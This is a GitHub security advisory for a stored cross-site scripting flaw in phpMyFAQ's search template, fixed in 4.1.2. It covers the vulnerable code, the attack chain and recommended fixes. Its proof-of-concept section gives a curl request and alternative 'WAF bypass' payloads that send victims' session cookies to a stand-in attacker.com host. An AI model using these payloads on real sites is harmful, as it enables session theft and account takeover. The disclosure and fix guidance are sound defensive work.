GitHub Advisoryadvisory · Packagist
GHSA-pqh6-8fxf-jx22 phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering
MEDIUM
Official page ↗
- Aliases
- CVE-2026-46361
- Ecosystem
- Packagist
- Packages
- phpmyfaq/phpmyfaq, thorsten/phpmyfaq
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N
- Weaknesses
- CWE-79
- Reviewed
- 2026-05-06
Affected packages
• Packagist phpmyfaq/phpmyfaq: < 4.1.2 → fixed in 4.1.2
• Packagist thorsten/phpmyfaq: < 4.1.2 → fixed in 4.1.2
Description
Summary
The search result rendering template (`search.twig`) outputs FAQ content fields `result.question` and `result.answerPreview` using Twig's `| raw` filter, which completely disables the template engine's built-in auto-escaping.
A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, `html_entity_decode(strip_tags(...))` restores the raw HTML tags — bypassing `strip_tags()` — and the restored payload is injected into every visitor's browser via the `| raw` output.
This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects `faq.twig`, bypass via regex mismatch in `Filter::removeAttributes()`) and is not addressed by the 4.1.1 patch.
---
Affected Files
| File | Location | Issue |
|---|---|---|
| `phpmyfaq/assets/templates/default/search.twig` | lines rendering `result.question`, `result.answerPreview` | `(Vertical Bar) raw` disables autoescape |
| `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` | search result processing loop | `html_entity_decode(strip_tags(...))` restores encoded payloads |
| `phpmyfaq/src/phpMyFAQ/Search.php` | `logSearchTerm()` | No HTML sanitization on stored search term (secondary, preventive) |
---
Details
Vulnerability A (Primary): `search.twig` — `| raw` Disables Autoescape
File: `phpmyfaq/assets/templates/default/search.twig`
```twig
{{ result.question | raw }}
{{ result.answerPreview | raw }}...
```
Twig's autoescape encodes all variables by default. The `| raw` filter unconditionally disables this protection. Both `result.question` and `result.answerPreview` are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.
Seven (7) instances of `| raw` exist in `search.twig`:
```twig
{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}
```
Each of these constitutes an independent XSS surface if its data source is compromised.
---
Vulnerability B (Amplifier): `SearchController.php` — `html_entity_decode(strip_tags())` Bypass
File: `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php`
```php
$data->answer = html_entity_decode(
strip_tags((string) $data->answer),
ENT_COMPAT,
encoding: 'utf-8'
);
```
This pattern is a known security anti-pattern. When a payload is stored as HTML entities, `strip_tags()` passes it through unmodified (it sees no actual tags), and `html_entity_decode()` then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.
Bypass walkthrough:
```text
Stored in DB:
strip_tags() → no change (no real tags detected)
→
html_entity_decode() →
| raw output → executes in browser
```
---
Attack Chain
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Payload injection
Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:
```html
```
Step 2 — Persistence
The payload is stored in the DB without HTML sanitization at the storage layer.
Step 3 — Victim triggers the XSS
Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:
1. Retrieves the record from the database
2. Applies `strip_tags()` → entity-encoded payload passes through
3. Applies `html_entity_decode()` → raw `` is restored
4. Passes the value to `search.twig` as `result.answerPreview`
5. Template renders with `| raw` → XSS executes
Step 4 — Impact
• Session cookie exfiltration → full account takeover
• Administrator session hijacking (admin visiting search page)
• Persistent attack: payload fires for every visitor until manually removed
• Potential for worm propagation via auto-created FAQ entries
---
PoC
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Inject payload via FAQ editor:
```bash
curl -X POST 'https://target.example.com/admin/api/faq/create' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=' \
-d '{
"data": {
"pmf-csrf-token": "",
"question": "<svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>",
"answer": "<img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>",
"lang": "en",
"categories[]": 1,
"active": "yes",
"tags": "test",
"keywords": "searchable-keyword",
"author": "attacker",
"email": "[email protected]"
}
}'
```
Step 2 — Trigger XSS as victim:
```
https://target.example.com/search.html?search=searchable-keyword
```
The search result page renders the restored `` payload. The attacker's server receives the victim's session cookie.
Alternative payloads (for WAF bypass):
```html
<details open ontoggle=alert(document.cookie)>
<iframe srcdoc="&lt;script&gt;parent.location='https://attacker.com/?c='+document.cookie&lt;/script&gt;">
```
---
Impact
• Confidentiality : Session cookie exfiltration and credential theft
via JavaScript execution in victim's browser context.
• Integrity : DOM manipulation, phishing overlay injection.
• Scope : Attack crosses from contributor privilege context
to all site visitors, including administrators.
---
Recommended Fix
Fix 1 (Critical) — Remove `| raw` from user-controlled fields in `search.twig`
```diff
• {{ result.question | raw }}
• {{ result.answerPreview | raw }}...
+ {{ result.question }}
+ {{ result.answerPreview }}...
```
If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., `ezyang/htmlpurifier`) before passing data to the template, then retain `| raw` only for purified output.
Fix 2 (Critical) — Remove `html_entity_decode()` from search result pipeline `SearchController.php`
```diff
• $data->answer = html_entity_decode(
• strip_tags((string) $data->answer),
• ENT_COMPAT,
• encoding: 'utf-8'
• );
+ $data->answer = strip_tags((string) $data->answer);
$data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);
```
Fix 3 (Recommended) — Audit all `| raw` usages in `search.twig`
The following additional `| raw` instances should be reviewed and sanitized:
```twig
{{ searchTags | raw }} → apply HTML Purifier or remove | raw
{{ relatedTags | raw }} → apply HTML Purifier or remove | raw
{{ pagination | raw }} → safe only if generated entirely server-side with no user input
```
Fix 4 (Preventive) — Add `htmlspecialchars()` in `logSearchTerm()`
```diff
$this->configuration->getDb()->escape($searchTerm)
+ htmlspecialchars(
+ $this->configuration->getDb()->escape($searchTerm),
+ ENT_QUOTES | ENT_HTML5,
+ 'UTF-8'
+ )
```
---
Related
Alias · CVE (1)
- CVE-2026-46361 phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview… vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness